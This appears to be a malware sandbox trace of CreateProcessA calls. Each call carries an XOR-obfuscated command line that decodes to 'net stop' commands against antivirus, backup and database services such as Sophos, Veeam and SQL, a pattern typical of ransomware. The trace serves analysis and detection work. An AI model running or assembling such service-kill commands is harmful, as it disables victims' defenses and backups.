	[0092.461] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Øþü÷í»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Øþü÷í»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.461] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ØìíöÌéýøíü¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ØìíöÌéýøíü¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.462] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Úõüø÷¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Úõüø÷¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.462] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ýüïðúü¹Úö÷íëöõ¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ýüïðúü¹Úö÷íëöõ¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.462] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ßðõü¹Êúø÷÷üë¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ßðõü¹Êúø÷÷üë¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.463] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ñüøõíñ¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ñüøõíñ¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.463] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ÔÚʹØþü÷í»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ÔÚʹØþü÷í»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.464] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ÔÚʹÚõðü÷í»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹ÔÚʹÚõðü÷í»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.464] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ôüêêøþü¹Ëöìíü뻹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Ôüêêøþü¹Ëöìíü뻹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.465] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Êøÿüêíöëü¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Êøÿüêíöëü¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.465] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Êàêíüô¹Éëöíüúíðö÷¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Êàêíüô¹Éëöíüúíðö÷¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.466] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Îüû¹Úö÷íëöõ¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êöéñöê¹Îüû¹Úö÷íëöõ¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.466] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕêøÿü¹Ûøúòìé¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕêøÿü¹Ûøúòìé¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.466] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕêøÿü¹ßðõíüë¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»ÊÈÕêøÿü¹ßðõíüë¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.467] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êàôø÷íüú¹Êàêíüô¹Ëüúöïüë໹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Êàôø÷íüú¹Êàêíüô¹Ëüúöïüë໹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.467] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ïüüøô¹Ûøúòìé¹Úøíøõöþ¹Ýøíø¹Êüëïðúü»¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹»Ïüüøô¹Ûøúòìé¹Úøíøõöþ¹Ýøíø¹Êüëïðúü»¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.468] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Øúëö÷ðêØþü÷í¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Øúëö÷ðêØþü÷í¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.468] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØúëÊúñ«Êïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØúëÊúñ«Êïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.468] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ø÷íðïðëì깶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ø÷íðïðëì깶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.469] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØËÊÔ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØËÊÔ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.469] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúØþü÷íØúúüõüëøíö빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúØþü÷íØúúüõüëøíö빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.470] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúØþü÷íÛëöîêü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúØþü÷íÛëöîêü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.470] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÝüïðúüÔüýðøÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÝüïðúüÔüýðøÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.470] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÓöûÜ÷þð÷ü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÓöûÜ÷þð÷ü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.471] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÔø÷øþüôü÷íÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÔø÷øþüôü÷íÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.471] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúËÉÚÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúËÉÚÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.472] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÏÊÊÉëöïðýü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÛøúòìéÜáüúÏÊÊÉëöïðýü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.472] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ûüýûþ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ûüýûþ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
